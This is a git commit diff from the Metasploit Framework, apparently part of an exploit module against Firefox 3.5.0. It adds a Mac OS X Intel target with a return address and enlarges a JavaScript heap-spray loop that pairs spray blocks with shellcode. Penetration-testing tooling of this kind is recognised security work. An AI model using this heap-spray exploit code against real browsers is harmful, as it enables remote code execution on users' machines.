Adds support for Mac OS X intel (use the vforkshell payloads)

git-svn-id: file:///home/svn/framework3/trunk@6828 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2009-07-17 21:28:59 +00:00
parent d57bdecb1d
commit 99bc63b11d
1 changed files with 8 additions and 1 deletions

View File

@ -55,6 +55,13 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
'Ret' => 0x0c0c0c0c, 'Ret' => 0x0c0c0c0c,
} }
],
[ 'Firefox 3.5.0 on Mac OS X (Intel)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Ret' => 0x40404040,
}
] ]
], ],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
@ -97,7 +104,7 @@ while (fullblock.length<0x60000)
fullblock += fullblock; fullblock += fullblock;
} }
sprayContainer = new Array(); sprayContainer = new Array();
for (xi=0; xi<600; xi++) for (xi=0; xi<700; xi++)
{ {
sprayContainer[xi] = fullblock + shellcode; sprayContainer[xi] = fullblock + shellcode;
} }